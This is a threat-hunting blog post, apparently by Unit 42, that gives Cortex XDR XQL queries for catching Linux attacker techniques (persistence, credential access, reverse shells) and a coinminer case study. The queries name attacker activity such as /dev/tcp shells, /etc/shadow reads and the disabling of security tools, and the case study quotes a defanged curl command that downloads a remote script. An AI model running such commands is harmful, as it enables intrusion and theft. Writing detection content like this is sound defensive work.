Linux Threat Hunting with Cortex XDR

Executive Summary

The cyber threat landscape is always changing and attackers find new ways to compromise systems and achieve their objectives: espionage, ransomware, etc. With the proliferation of Linux operating systems, attackers are increasingly adapting their tactics, techniques, and procedures (TTPs) to target Linux systems. According to W3Techs, 81.2% of all websites known to them run on Linux servers. Also, due to their prevalence in critical infrastructures, cloud environments, and organizations, attackers are increasingly targeting Linux operating systems.

The most popular types of threats in Linux are crypto-miners, malicious scripts, webshells, rootkits, and ransomware while popular techniques are exploiting unpatched vulnerabilities, brute force attacks, deploying malware through compromised websites, etc.

In this post, we are going to take a look at some common ways to hunt for threats in Linux hosts using Cortex XDR and XQL, following the MITRE ATT&CK framework as a reference. Please note that this post does not cover all possible techniques. In future posts, we will break down each tactic and dive deeper. Some queries return a high number of results, it is advised to utilize a good baseline for your environment.

Hunting Queries:

Execution (TA0002):

Attackers will most often have limited privileges upon initial access. They will try to execute additional programs for several purposes, for example: reconnaissance, privilege escalation, discovery, etc. Generally, attackers will download their payload to the host in world writable locations like /tmp, and /var/tmp and execute from there. The payload/file downloaded can be Linux executable or scripts. We can hunt this activity via the query below:

// Description: Executions from /tmp or /var/tmp paths

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = PROCESS and event_sub_type = PROCESS_START

| filter action_process_image_path ~= "^\/tmp.*?$" or action_process_image_path ~= "^\/var\/tmp.*?$"

// Some potential filters Causality_actor_process_image_path: /bin/bash, /usr/sbin/crond

| fields agent_hostname, actor_effective_username, actor_process_image_path, action_process_image_path, action_process_image_command_line, action_process_image_sha256 , causality_actor_process_image_path, causality_actor_process_command_line

Additionally, we can also hunt for file download activity at these paths:

// Description: File Download via curl or wget (T1105)

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = ENUM.FILE and (event_sub_type = ENUM.FILE_CREATE_NEW OR event_sub_type = ENUM.FILE_WRITE ) and (actor_process_image_name contains "curl" or actor_process_image_name contains "wget")

// Action_File_Type => 18: Not Evaluated

| fields _time, agent_hostname, actor_effective_username, actor_process_image_path, actor_process_command_line ,action_file_path, action_file_extension, action_file_type, action_file_size, causality_actor_process_image_path,causality_actor_process_command_line

Another popular way for malware to get into the host is via trojanized applications executed by users. It is very common for users to download files via the internet and execute on the host. It is extremely important to baseline process executions on the hosts in order to detect outliers.

// Description: Apps installed on the host via dpkg -i or double click on the .deb file

// When the app is installed via double click, we see two events

// --fsys-tarfile: Extracts the filesystem tree data from a binary package

// --control: Extracts the control information from archive into the specified directory

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = PROCESS and event_sub_type = PROCESS_START and (action_process_image_command_line contains "dpkg -i" or action_process_image_command_line contains "dpkg-deb" ) and action_process_image_command_line contains ".deb"

// Reduce some noise

| filter (action_process_image_command_line not contains """fonts-dejavu""") and (causality_actor_process_command_line not contains "apt.systemd.daily")

| fields _time, agent_hostname, actor_effective_username, actor_process_image_path, action_process_image_path, action_process_image_command_line, causality_actor_process_command_line

Additionally, execution can occur via scheduled tasks/jobs (T1053) which we will cover in the Persistence section.

Persistence (TA0003):

Once the attacker is on the host, the obvious next step is to establish persistence to maintain their access to the system from reboots, password changes, detections, etc. This can be achieved via several ways. The most obvious way is to create a user account on the host.

// Description: Add User

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter action_process_image_command_line contains "useradd"

| fields agent_hostname, actor_effective_username, actor_process_image_path, causality_actor_process_image_path, os_actor_process_image_path, action_process_image_path, action_process_image_command_line

Another common technique we see is to add attackers' public key to the authorized_keys on the host in the cases when SSH is accessible. This allows the attackers to SSH into the host without requiring passwords.

// Description: SSH Persistence via authorized_keys

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = ENUM.FILE and (event_sub_type = ENUM.FILE_CREATE_NEW or event_sub_type = ENUM.FILE_WRITE) and action_file_path contains "authorized_keys"

| fields _time, agent_hostname, actor_effective_username, actor_process_image_path, actor_process_command_line, causality_actor_process_image_path, action_file_path

RCscripts can also be used to establish persistence on the hosts. Although this needs root permission.

// Description: Persistence via Boot Logon Initialization scripts/RC Scripts (T1037.004)

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = ENUM.FILE and (event_sub_type = ENUM.FILE_CREATE_NEW or event_sub_type = ENUM.FILE_WRITE) and (action_file_path ~= "\/etc\/rc.(local|common)")

| fields _time, agent_hostname, actor_effective_username, actor_process_image_path, actor_process_command_line, causality_actor_process_image_path, action_file_path

// Description: Persistence via Unix Shell Configuration Modification (T1546.004)

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = ENUM.FILE and (event_sub_type = ENUM.FILE_CREATE_NEW or event_sub_type = ENUM.FILE_WRITE) and (action_file_path ~= "\/etc\/profile" or action_file_path ~= "\/home\/.*\/\.(bash.*|profile)")

// Reduce some noise

| filter action_file_path not contains "bash_history"

| fields _time, agent_hostname, actor_effective_username, actor_process_image_path, actor_process_command_line, causality_actor_process_image_path, action_file_path

Another popular technique is to schedule tasks on the hosts. These can be achieved via “at” jobs, cronjobs, or systemd timers. At jobs executes the program once at the specified time, while Cron jobs are recurring jobs at the specified intervals.

// Description: Persistence via “at”

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START and (causality_actor_process_image_path contains "atd")

| fields agent_hostname, actor_effective_username, causality_actor_process_image_path, actor_process_image_path, action_process_image_path, action_process_image_command_line

// Description: CRON Job Add

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = FILE //and (event_sub_type = FILE_WRITE OR event_sub_type = FILE_CREATE_NEW)

| filter action_file_path contains "/etc/cron" OR action_file_path contains "/var/spool/cron"

| fields _time, agent_hostname, actor_effective_username, action_file_path, actor_process_image_name, actor_process_image_path, actor_process_command_line, causality_actor_process_image_path, causality_actor_process_command_line, event_type, event_sub_type

// Description: Persistence via CRON, Processes started by CRON job

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = PROCESS and event_sub_type = PROCESS_START

// Causality is usually cron and crond, additionally you can also look for anacron

| filter causality_actor_process_image_name contains "cron"

| fields _time, agent_hostname, actor_effective_username, action_process_image_command_line, actor_process_image_path, actor_process_command_line, causality_actor_process_image_name,causality_actor_process_command_line

| dedup action_process_image_command_line

Finally, web shells are a popular technique to establish persistence on web servers. Web shell is a small program that can be invoked on the web server.

// Description: WebShells write on the host

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = ENUM.FILE and (event_sub_type = ENUM.FILE_CREATE_NEW OR event_sub_type = ENUM.FILE_WRITE ) and action_file_path contains "www" and action_file_extension in ("php", "html")

| filter actor_effective_username contains "www-data" and actor_process_image_path contains "apache"

| fields _time, agent_hostname, actor_effective_username, actor_process_image_path, actor_process_command_line,causality_actor_process_command_line, action_process_image_command_line , action_file_path

// Description: Web Shell Activity

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = ENUM.PROCESS

| filter causality_actor_process_image_path contains "apache"

//Filter for shell activities

| filter actor_process_image_path contains "/bin/bash" OR actor_process_image_path contains "/bin/sh"

// more filtering can be done using actor_effective_username contains "www-data"

| filter (actor_effective_username contains """www-data""")

| fields _time, agent_hostname, actor_effective_username, actor_process_image_path, actor_process_command_line, causality_actor_process_image_path, causality_actor_process_command_line, action_process_image_path, action_process_image_command_line

Privilege Escalation (TA0004):

Attackers will look for ways to elevate privileges once they have a foothold into the network. There are many techniques to achieve this. Setuid and SetGid allow a program to run in a different user's context. Attackers can find and abuse programs with setuid or setgid bit set to execute it in a privileged context.

// Description: Search for setuid and setgid files (T1548.001)

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = ENUM.PROCESS

| filter action_process_image_path contains "find" and action_process_image_command_line contains "-perm" and (action_process_image_command_line contains "-4000" and action_process_image_command_line contains "-2000")

| fields _time, agent_hostname, actor_effective_username, actor_process_image_path, actor_process_command_line, causality_actor_process_image_path, causality_actor_process_command_line, action_process_image_path, action_process_image_command_line

Attackers can abuse systemd services for privilege escalation.

// Description: Systemd service/timer creation (T1543.002)

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = FILE and (event_sub_type = FILE_WRITE OR event_sub_type = FILE_CREATE_NEW) and (action_file_extension = "service" OR action_file_extension = "timer")

| filter action_file_path contains "/etc/systemd/" OR action_file_path contains "/usr/lib/systemd" OR action_file_path contains "config/systemd/"

| fields _time, agent_hostname, actor_effective_username, action_file_path, actor_process_image_name, actor_process_image_path, actor_process_command_line, causality_actor_process_image_path, causality_actor_process_command_line

| dedup agent_hostname, action_file_path

NOTE: Privilege Escalation via Scheduled Tasks, please refer to Persistence section

Defense Evasion (TA0005):

Attackers will use different techniques to avoid detection by security controls or defenders.

//Description: Directory/ File Permission Modification (T1222.002)

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = ENUM.PROCESS and (action_process_image_command_line contains "chmod" or action_process_image_command_line contains "chown" or action_process_image_command_line contains "chattr")

| fields agent_hostname, causality_actor_process_image_path ,actor_process_image_path , action_process_image_path, action_process_image_command_line

Additionally, attackers can hide Files and Directories to evade detection.

// Description: Hide File or a Directory (T1564.001)

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = ENUM.FILE and (event_sub_type = ENUM.FILE_CREATE_NEW OR event_sub_type = ENUM.FILE_WRITE or event_sub_type = ENUM.FILE_DIR_CREATE OR event_sub_type = ENUM.FILE_DIR_WRITE )

| alter dir_name = regextract(action_file_path, "\/(\.\w+)$")

| filter (action_file_name ~= "^\.\w+" or dir_name ~= "^\.\w+")

| fields agent_hostname, action_file_path, action_file_name, dir_name,event_type, event_sub_type, action_file_mode, action_file_size, action_file_type

// Additionally we can use common paths where these might run from /tmp, /var/tmp

Another obvious technique to evade detection is by disabling security tools/services on the host.

// Description: Disable Security Tools (T1562.001)

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = PROCESS and event_sub_type = PROCESS_START and

(lowercase(action_process_image_command_line) contains "stop" or lowercase(action_process_image_command_line) contains "disable" or lowercase(action_process_image_command_line) contains "off") and

(lowercase(action_process_image_command_line) contains "iptables" or

lowercase(action_process_image_command_line) contains "ip6tables" or

lowercase(action_process_image_command_line) contains "firewalld" or

lowercase(action_process_image_command_line) contains "falcon-sensor" or

lowercase(action_process_image_command_line) ~= "setenforce\s*0" or

lowercase(action_process_image_command_line) contains "ufw " or

lowercase(action_process_image_command_line) contains " ufw" or

lowercase(action_process_image_command_line) contains "rsyslog")

| fields agent_hostname, actor_process_image_name, actor_process_image_command_line, actor_effective_username, action_process_image_name, action_process_image_path, action_process_image_command_line

Credential Access (TA0006):

During the attacks, attackers are interested in acquiring credentials for later use to escalate privilege, move laterally, etc. One of the easy ways is to look for files that potentially store credentials.

// Description: Password files search (T1552.001)

config case_sensitive = false

| dataset = xdr_data

| filter event_type = ENUM.PROCESS and action_process_image_path contains "find" and (action_process_image_command_line contains "password" or action_process_image_command_line contains "login")

| fields _time, agent_hostname, causality_actor_process_image_path, causality_actor_process_command_line, actor_process_image_path, actor_process_command_line, action_process_image_path, action_process_image_command_line

// Description: Processes Reading Credential Files

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = ENUM.FILE and event_sub_type = ENUM.FILE_OPEN and (action_file_path = "*/etc/shadow*" or action_file_path = "*/etc/login*" or action_file_path = "*/proc/*/maps/*" or action_file_path = "*/etc/login.defs*")

| fields agent_hostname, causality_actor_process_image_path, actor_process_image_path, actor_process_command_line, action_file_path,event_id

Another approach to acquire credentials is to dump memory and look for credentials in memory dumps.

// Description: Hunt Memory Dumping (T1003.007)

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = FILE and (action_file_path ~= "^\/proc\/\d+\/maps" or action_file_path ~= "^\/proc\/\d+\/mem")

// Usually these are done via dd, also watch out for gcore, gdb as well

| filter actor_process_image_path contains "dd"

| fields agent_hostname, causality_actor_process_image_path ,actor_process_image_path, actor_process_command_line , action_process_image_path, action_file_path, event_type, event_sub_type

Private Keys stored in the host can be very valuable to attackers.

// Description: Private Keys Enumeration (T1552.004)

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = ENUM.PROCESS and action_process_image_path contains "find" and (action_process_image_command_line contains "pem" or

action_process_image_command_line contains "pfx" or

action_process_image_command_line contains "key" or

action_process_image_command_line contains "pgp" or

action_process_image_command_line contains "gpg" or

action_process_image_command_line contains "ppk" or

action_process_image_command_line contains "p12" or

action_process_image_command_line contains "cer" or

action_process_image_command_line contains "p7b" or

action_process_image_command_line contains "asc" )

| fields _time, agent_hostname, causality_actor_process_image_path, causality_actor_process_command_line, actor_process_image_path, actor_process_command_line, action_process_image_path, action_process_image_command_line

Discovery (TA0007)

Discovery is an important part of the attack lifecycle to gain information on the systems, and security posture that in turn helps to make further strategies to continue the attack.

// Description: General Reconnaissance/Discovery commands

config case_sensitive = false timeframe=1d

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = PROCESS and event_sub_type = PROCESS_START

| filter action_process_image_command_line contains "whoami" or

action_process_image_command_line contains "history" or

action_process_image_command_line contains "passwd" or

action_process_image_command_line contains "uname" or

action_process_image_command_line contains "ps" or

action_process_image_command_line contains "groups" or

action_process_image_command_line contains "smbclient" or

action_process_image_command_line contains "systemctl"

| fields agent_hostname, actor_effective_username ,actor_process_image_path, actor_process_command_line, causality_actor_process_image_path,os_actor_process_image_path ,action_process_image_name, action_process_image_path, action_process_image_command_line

| comp count_distinct(action_process_image_name) as distinct_count_commands_observed, values(action_process_image_name) as commands_observed by agent_hostname, actor_effective_username, actor_process_image_path, actor_process_command_line

// Filter for processes that trigger 3 or more recon commands (configurable)

| filter distinct_count_commands_observed >= 3

Command and Control (TA0011)

Command and control (C2) allows attackers to remotely control the host. Please note that there are several ways to spawn a reverse shell, the example below only shows one such technique. For more on C2 hunting, please refer to this.

// Description: Hunting Reverse Shells

config case_sensitive = false

| dataset = xdr_data

| filter agent_os_type = AGENT_OS_LINUX

| filter event_type = ENUM.PROCESS and (actor_process_command_line contains "/dev/tcp" OR action_process_image_command_line contains "/dev/tcp/")

| fields agent_hostname, actor_effective_username, causality_actor_process_image_path, actor_process_image_path, actor_process_command_line, action_process_image_command_line

Case Study: Mine your own business

The Unit 42 Managed Threat Hunting team recently identified a suspicious binary in one of customer environments executing from /var/tmp directory. Upon further investigation, we identified this binary as a coinminer. The causality for this binary was a cron job setup on the host via crontab. The cronjob was added via SSH session from an internal unmanaged host.

Cron job is set to execute the binaries (/var/tmp/.systemd, /var/tmp/.update) dropped via SSH session as well as download and execute further payload via curl from an external host on a regular interval as well as upon reboot.

curl -fsSL http[:]//pw[.]pwndns[.]pw/root.sh

Summary

Due to the increasing popularity of Linux operating systems, attackers are adapting their TTPs to target Linux systems. We are seeing an uptick in different threat actors targeting Linux operating systems. Most popular threats include ransomware, custom malware, rootkits, exploits against the operating systems as well as living off the land techniques. It is expected that attackers will continue targeting these systems.

Reducing attack surface and hardening the systems will make the attackers life difficult, however many organizations lack the expertise to properly harden these systems. There are several hardening guides organizations can leverage to properly harden these devices. Additionally, in this post we provide several “low hanging” hunting queries organizations can use to catch the attackers.

About Unit 42 Managed Services

Unit 42 Managed Threat Hunting is a powerful service that empowers organizations to stay ahead of the ever-evolving threat landscape. Led by the renowned Unit 42 threat intelligence team, this service is designed to identify hidden attacks that would otherwise go undetected. Our team of expert threat hunters uses a combination of human expertise, big data analytics and comprehensive threat intelligence to surface malicious tactics, techniques, and procedures hiding in plain sight. This cutting-edge service is fueled by data collected and retained in the Cortex Data Lake, ensuring that organizations have access to the most comprehensive and accurate information available. With Unit 42 Managed Threat Hunting, organizations can take proactive steps to protect their assets and stay one step ahead of cybercriminals.  For more information, visit https://www.paloaltonetworks.com/unit42/respond/managed-threat-hunting